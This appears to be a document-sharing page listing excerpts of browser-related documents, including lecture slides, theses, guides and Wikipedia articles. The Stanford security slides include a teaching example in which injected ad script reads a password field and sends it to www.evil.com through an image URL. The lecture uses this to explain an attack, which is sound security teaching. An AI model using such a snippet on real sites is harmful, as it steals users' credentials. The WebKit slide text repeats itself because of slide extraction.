An Alternative Browser Engine for the Free Desktop
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Browser Code Isolation
CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”> -
Testing in Webkit-EFL from 0% to 99% in 6 Months
Testing in WebKit-EFL From 0% to 99% in 6 months Leandro Pereira ProFUSION Embedded Systems http://profusion.mobi February 04, 2012 WebKit WebKit I Good standards compliance I Comprised of WebCore, JavaScriptCore, one WebKit for each port WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Comprised of WebCore, JavaScriptCore, one WebKit for each port WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Good standards compliance , JavaScriptCore, one WebKit for each port WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Good standards compliance I Comprised of WebCore , one WebKit for each port WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Good standards compliance I Comprised of WebCore, JavaScriptCore WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Good standards compliance I Comprised of WebCore, JavaScriptCore, one WebKit for each port WebKit I Heart of Epiphany, Chromium, Safari, Konqueror, and Eve I Good standards compliance I Comprised of WebCore, JavaScriptCore, one WebKit for each port, and WTF. I New feature ! new test I Over 9000 28000 tests I Some imported from other test suites (W3C, Mozilla, etc) I Some written by WebKit contributors I One of the reasons WebKit repo is so large (1.8GiB just for tests and expected results) I Most tests are port-independent I Test results are mostly port-dependent Testing in WebKit I Bug fixed ! new test I Over 9000 28000 tests I Some imported from other test suites (W3C, Mozilla, etc) I Some written by WebKit -
Red Hat Enterprise Linux 6 Developer Guide
Red Hat Enterprise Linux 6 Developer Guide An introduction to application development tools in Red Hat Enterprise Linux 6 Dave Brolley William Cohen Roland Grunberg Aldy Hernandez Karsten Hopp Jakub Jelinek Developer Guide Jeff Johnston Benjamin Kosnik Aleksander Kurtakov Chris Moller Phil Muldoon Andrew Overholt Charley Wang Kent Sebastian Red Hat Enterprise Linux 6 Developer Guide An introduction to application development tools in Red Hat Enterprise Linux 6 Edition 0 Author Dave Brolley [email protected] Author William Cohen [email protected] Author Roland Grunberg [email protected] Author Aldy Hernandez [email protected] Author Karsten Hopp [email protected] Author Jakub Jelinek [email protected] Author Jeff Johnston [email protected] Author Benjamin Kosnik [email protected] Author Aleksander Kurtakov [email protected] Author Chris Moller [email protected] Author Phil Muldoon [email protected] Author Andrew Overholt [email protected] Author Charley Wang [email protected] Author Kent Sebastian [email protected] Editor Don Domingo [email protected] Editor Jacquelynn East [email protected] Copyright © 2010 Red Hat, Inc. and others. The text of and illustrations in this document are licensed by Red Hat under a Creative Commons Attribution–Share Alike 3.0 Unported license ("CC-BY-SA"). An explanation of CC-BY-SA is available at http://creativecommons.org/licenses/by-sa/3.0/. In accordance with CC-BY-SA, if you distribute this document or an adaptation of it, you must provide the URL for the original version. Red Hat, as the licensor of this document, waives the right to enforce, and agrees not to assert, Section 4d of CC-BY-SA to the fullest extent permitted by applicable law. -
Browsers and Their Use in Smart Devices
TALLINN UNIVERSITY OF TECHNOLOGY School of Information Technologies Alina Kogai 179247IACB Browsers and their use in smart devices Bachelor’s thesis Supervisor: Vladimir Viies Associate Professor Tallinn 2020 TALLINNA TEHNIKAÜLIKOOL Infotehnoloogia teaduskond Alina Kogai 179247IACB Brauserid ja nende kasutamine nutiseadmetes Bakalaureusetöö Juhendaja: Vladimir Viies Dotsent Tallinn 2020 Author’s declaration of originality I hereby certify that I am the sole author of this thesis. All the used materials, references to the literature and the work of others have been referred to. This thesis has not been presented for examination anywhere else. Author: Alina Kogai 30.11.2020 3 BAKALAUREUSETÖÖ ÜLESANDEPÜSTITUS Kuupäev: 23.09.2020 Üliõpilase ees- ja perekonnanimi: Alina Kogai Üliõpilaskood: 179247IACB Lõputöö teema: Brauserid ja nende kasutamine nutiseadmetes Juhendaja: Vladimir Viies Kaasjuhendaja: Lahendatavad küsimused ning lähtetingimused: Populaarsemate brauserite analüüs. Analüüs arvestada: mälu kasutus, kiirus turvalisus ja privaatsus, brauserite lisad. Valja toodate brauseri valiku kriteeriumid ja soovitused. Lõpetaja allkiri (digitaalselt allkirjastatud) 4 Abstract The aim of this bachelor's thesis is to give recommendations on which web browser is best suited for different user groups on different platforms. The thesis presents a methodology for evaluating browsers which are available on all platforms based on certain criteria. Tests on PC, mobile and tablet were performed for methodology demonstration. To evaluate the importance of the criteria a survey was conducted. The results are used to make recommendations to Internet user groups on the selection of the most suitable browser for different platforms. This thesis is written in English and is 43 pages long, including 5 chapters, 20 figures and 18 tables. 5 Annotatsioon Brauserid ja nende kasutamine nutiseadmetes Selle bakalaureuse töö eesmärk on anda nõuandeid selle kohta, milline veebibrauser erinevatel platvormitel sobib erinevate kasutajagruppide jaoks kõige parem. -
Comparison of Common Xml-Based Web User Interface Languages
Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring. -
What Is Konqueror the Problem Solution
http://www.linuxhowtos.org/Network/fastkonqueror.pdf What is Konqueror Konqueror is the default browser/file manager for KDE. As time of this writing this is one of only 4 browsers who correctly display the acid2 test (http://www.webstandards.org/act/acid2/) correctly. The Problem One problem of this browser is the lack of an internal dns cache, that means for every http request (each image on a web page) it sends a dns query. Depending on your internet connection and speed of your dns servers, this can slow things down. Solution pdnsd pdnsd is a tiny dns proxy. pdnsd should be available on most distributions. Just install the tool via apt-get, rpm, emerge or whatever your distribution uses. configuring you can use the default example configuration and modify the cache size and dns server ip. My config reads this: global { perm_cache=2048; # cachesize in kB. cache_dir="/var/cache/pdnsd"; run_as="pdnsd"; server_ip = 127.0.0.1; status_ctl = on; paranoid=on; min_ttl=900; # store cache at least 15 minutes. max_ttl=604800; # store cache maximum one week. timeout=10; } server { label= "myisp"; ip = 192.168.0.1; # enter IP of your dns server proxy_only=on; timeout=4; uptest=if; interface=eth0; interval=600; purge_cache=off; } modify /etc/resolv domain yourdomain server 127.0.0.1 start the dns proxy /etc/init.d/pdnsd start page 1 of 2 http://www.linuxhowtos.org/Network/fastkonqueror.pdf check if the server works by pinging a server ping www.linuxhowtos.org if everything works, add the pdnsd to the started services and you are done. -
A Testing Strategy for Html5 Parsers
A TESTING STRATEGY FOR HTML5 PARSERS A DISSERTATION SUBMITTED TO THE UNIVERSITY OF MANCHESTER FOR THE DEGREE OF MASTER OF SCIENCE IN THE FACULTY OF ENGINEERING AND PHYSICAL SCIENCES 2015 By Jose´ Armando Zamudio Barrera School of Computer Science Contents Abstract 9 Declaration 10 Copyright 11 Acknowledgements 12 Dedication 13 Glossary 14 1 Introduction 15 1.1 Aim . 16 1.2 Objectives . 16 1.3 Scope . 17 1.4 Team organization . 17 1.5 Dissertation outline . 17 1.6 Terminology . 18 2 Background and theory 19 2.1 Introduction to HTML5 . 19 2.1.1 HTML Historical background . 19 2.1.2 HTML versus the draconian error handling . 20 2.2 HTML5 Parsing Algorithm . 21 2.3 Testing methods . 23 2.3.1 Functional testing . 23 2.3.2 Oracle testing . 25 2.4 Summary . 26 2 3 HTML5 parser implementation 27 3.1 Design . 27 3.1.1 Overview . 27 3.1.2 State design pattern . 29 3.1.3 Tokenizer . 31 3.1.4 Tree constructor . 32 3.1.5 Error handling . 34 3.2 Building . 34 3.3 Testing . 35 3.3.1 Tokenizer . 35 3.3.2 Tree builder . 36 3.4 Summary . 37 4 Test Framework 38 4.1 Design . 38 4.1.1 Architecture . 38 4.1.2 Adapters . 39 4.1.3 Comparator and plurality agreement . 41 4.2 Building . 42 4.2.1 Parser adapters implementations . 43 4.2.2 Preparing the input . 43 4.2.3 Comparator . 44 4.3 Other framework features . 45 4.3.1 Web Interface . 45 4.3.2 Tracer . -
HTTP Cookie - Wikipedia, the Free Encyclopedia 14/05/2014
HTTP cookie - Wikipedia, the free encyclopedia 14/05/2014 Create account Log in Article Talk Read Edit View history Search HTTP cookie From Wikipedia, the free encyclopedia Navigation A cookie, also known as an HTTP cookie, web cookie, or browser HTTP Main page cookie, is a small piece of data sent from a website and stored in a Persistence · Compression · HTTPS · Contents user's web browser while the user is browsing that website. Every time Request methods Featured content the user loads the website, the browser sends the cookie back to the OPTIONS · GET · HEAD · POST · PUT · Current events server to notify the website of the user's previous activity.[1] Cookies DELETE · TRACE · CONNECT · PATCH · Random article Donate to Wikipedia were designed to be a reliable mechanism for websites to remember Header fields Wikimedia Shop stateful information (such as items in a shopping cart) or to record the Cookie · ETag · Location · HTTP referer · DNT user's browsing activity (including clicking particular buttons, logging in, · X-Forwarded-For · Interaction or recording which pages were visited by the user as far back as months Status codes or years ago). 301 Moved Permanently · 302 Found · Help 303 See Other · 403 Forbidden · About Wikipedia Although cookies cannot carry viruses, and cannot install malware on 404 Not Found · [2] Community portal the host computer, tracking cookies and especially third-party v · t · e · Recent changes tracking cookies are commonly used as ways to compile long-term Contact page records of individuals' browsing histories—a potential privacy concern that prompted European[3] and U.S. -
Automated Testing Clinic Follow-Up: Capybara-Webkit Vs. Poltergeist/Phantomjs | Engineering in Focus
Automated Testing Clinic follow-up: capybara-webkit vs. polter... https://behindthefandoor.wordpress.com/2014/03/02/automated-... Engineering in Focus the Fandor engineering blog Automated Testing Clinic follow-up: capybara-webkit vs. poltergeist/PhantomJS with 2 comments In my presentation at the February Automated Testing SF meetup I (Dave Schweisguth) noted some problems with Fandor’s testing setup and that we were working to fix them. Here’s an update on our progress. The root cause of several of our problems was that some of the almost 100 @javascript scenarios in our Cucumber test suite weren’t running reliably. They failed occasionally regardless of environment, they failed more on slower CPUs (e.g. MacBook Pros only a couple of years old), when they failed they sometimes hung forever, and when we killed them they left behind webkit-server processes (we were using the capybara-webkit driver) which, if not cleaned up, would poison subsequent runs. Although we’ve gotten pretty good at fixing flaky Cucumber scenarios, we’d been stumped on this little handful. We gave up, tagged them @non_ci and excluded them from our build. But they were important scenarios, so we had to run them manually before deploying. (We weren’t going to just not run them: some of those scenarios tested our subscription process, and we would be fools to deploy a build that for all we knew wouldn’t allow new users to subscribe to Fandor!) That made our release process slower and more error-prone. It occurred to me that I could patch the patch and change our deployment process to require that the @non_ci scenarios had been run (by adding a git tag when those scenarios were run and checking for it when deploying), but before I could put that in to play a new problem appeared. -
Copyrighted Material
05_096970 ch01.qxp 4/20/07 11:27 PM Page 3 1 Introducing Cascading Style Sheets Cascading style sheets is a language intended to simplify website design and development. Put simply, CSS handles the look and feel of a web page. With CSS, you can control the color of text, the style of fonts, the spacing between paragraphs, how columns are sized and laid out, what back- ground images or colors are used, as well as a variety of other visual effects. CSS was created in language that is easy to learn and understand, but it provides powerful control over the presentation of a document. Most commonly, CSS is combined with the markup languages HTML or XHTML. These markup languages contain the actual text you see in a web page — the hyperlinks, paragraphs, headings, lists, and tables — and are the glue of a web docu- ment. They contain the web page’s data, as well as the CSS document that contains information about what the web page should look like, and JavaScript, which is another language that pro- vides dynamic and interactive functionality. HTML and XHTML are very similar languages. In fact, for the majority of documents today, they are pretty much identical, although XHTML has some strict requirements about the type of syntax used. I discuss the differences between these two languages in detail in Chapter 2, and I also pro- vide a few simple examples of what each language looks like and how CSS comes together with the language to create a web page. In this chapter, however, I discuss the following: ❑ The W3C, an organization that plans and makes recommendations for how the web should functionCOPYRIGHTED and evolve MATERIAL ❑ How Internet documents work, where they come from, and how the browser displays them ❑ An abridged history of the Internet ❑ Why CSS was a desperately needed solution ❑ The advantages of using CSS 05_096970 ch01.qxp 4/20/07 11:27 PM Page 4 Part I: The Basics The next section takes a look at the independent organization that makes recommendations about how CSS, as well as a variety of other web-specific languages, should be used and implemented. -
Web Browser a C-Class Article from Wikipedia, the Free Encyclopedia
Web browser A C-class article from Wikipedia, the free encyclopedia A web browser or Internet browser is a software application for retrieving, presenting, and traversing information resources on the World Wide Web. An information resource is identified by a Uniform Resource Identifier (URI) and may be a web page, image, video, or other piece of content.[1] Hyperlinks present in resources enable users to easily navigate their browsers to related resources. Although browsers are primarily intended to access the World Wide Web, they can also be used to access information provided by Web servers in private networks or files in file systems. Some browsers can also be used to save information resources to file systems. Contents 1 History 2 Function 3 Features 3.1 User interface 3.2 Privacy and security 3.3 Standards support 4 See also 5 References 6 External links History Main article: History of the web browser The history of the Web browser dates back in to the late 1980s, when a variety of technologies laid the foundation for the first Web browser, WorldWideWeb, by Tim Berners-Lee in 1991. That browser brought together a variety of existing and new software and hardware technologies. Ted Nelson and Douglas Engelbart developed the concept of hypertext long before Berners-Lee and CERN. It became the core of the World Wide Web. Berners-Lee does acknowledge Engelbart's contribution. The introduction of the NCSA Mosaic Web browser in 1993 – one of the first graphical Web browsers – led to an explosion in Web use. Marc Andreessen, the leader of the Mosaic team at NCSA, soon started his own company, named Netscape, and released the Mosaic-influenced Netscape Navigator in 1994, which quickly became the world's most popular browser, accounting for 90% of all Web use at its peak (see usage share of web browsers). -
Native Libraries Lecture 10
Native Libraries Lecture 10 Operating Systems Practical 11 January 2017 This work is licensed under the Creative Commons Attribution 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by/4.0/. OSP Native libraries, Lecture 10 1/35 Bionic SQLite SSL WebKit Surface Manager Audio Manager Media Framework OpenGL ES OSP Native libraries, Lecture 10 2/35 Outline Bionic SQLite SSL WebKit Surface Manager Audio Manager Media Framework OpenGL ES OSP Native libraries, Lecture 10 3/35 Bionic I Custom C library I Replacement for glibc I Not POSIX compliant I Goals I BSD license I Avoid GPL and LGPL in userspace I Small size I glibc is very large I High speed I Designed for low CPU frequencies OSP Native libraries, Lecture 10 4/35 Bionic vs. glibc I Bionic routines do not throw, pass and handle C++ exceptions I Support for exceptions adds a great overhead I Exceptions can be used internally in C++ code, if they do not cross the libc routine I No C++ Standard Template Library I Native code developers can use gnustl or stlport I New pthread implementation I No wchar_t and no support for LOCALE OSP Native libraries, Lecture 10 5/35 Bionic vs. glibc I A shared memory region is used for configuration I Also used by the applications through property_get() and property_set() I No openlog() or syslog() I __libc_android_log_print() used for logging I Specific malloc implementation I A hash table used for tracking allocations to discover leaks I No pty support OSP Native libraries, Lecture 10 6/35 Bionic vs.